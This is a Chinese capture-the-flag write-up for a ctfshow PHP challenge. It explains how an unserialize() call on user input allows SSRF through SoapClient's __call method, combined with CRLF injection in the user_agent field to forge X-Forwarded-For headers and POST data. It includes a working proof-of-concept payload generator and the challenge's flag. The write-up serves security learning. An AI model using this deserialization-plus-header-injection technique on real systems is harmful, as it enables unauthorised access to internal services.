PHP/7.3.11SSRFCRLFSoapClient
index.php
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
flag.php (大概如下
<?php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}}
分析:
不就 XFF伪造?
估计给的代码是不完整的,还真实 IP 判断,估计大概是这样的
<?php$flag = "flag_tari";$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){if($ip!=='127.0.0.1'){die('error');}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}}}echo "your ip not 127.0.0.1";
搜了一波,奇怪的知识增加了,除了XFF,本题还用到 SSRF(SoapClient)+CRLF组合拳,毕竟我们的 index.php 还有用到呢
需要利用 SSRF 访问 flag.php 并构造 XFF 和 POST 数据,SSRF漏洞在哪呢?
SoapClient类 __call 魔术方法
__call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法
当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。
因此,当我们运行 index.php 的 $vip->getFlag(); 方法时,会因 SoapClient 不存在 getFlag 方法而调用 __call() 魔术方法,进而发送一个 POST 请求
poc
<?php$post_string = 'token=ctfshow';$soap = new SoapClient(null,array('uri'=> "http://127.0.0.1/flag.php",'location' => 'http://127.0.0.1/flag.php','user_agent'=>"edge\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,// 'user_agent'=>"edge\x0D\x0AX-Forwarded-For:127.0.0.1,127.0.0.1\x0D\x0AContent-Type: application/x-www-form-urlencoded"."\x0D\x0AContent-Length: ".(string)strlen($post_string)."\x0D\x0A\x0D\x0A".$post_string,));echo(urlencode(serialize($soap)));?>
这里注意下,包含特殊字符转义的,比如 \r\n 要用双引号 " 单引号保持原来的语义的。
warning 没关系
flag
ctfshow{36fb528e-4d82-4aaf-9bf6-117955a09b39}
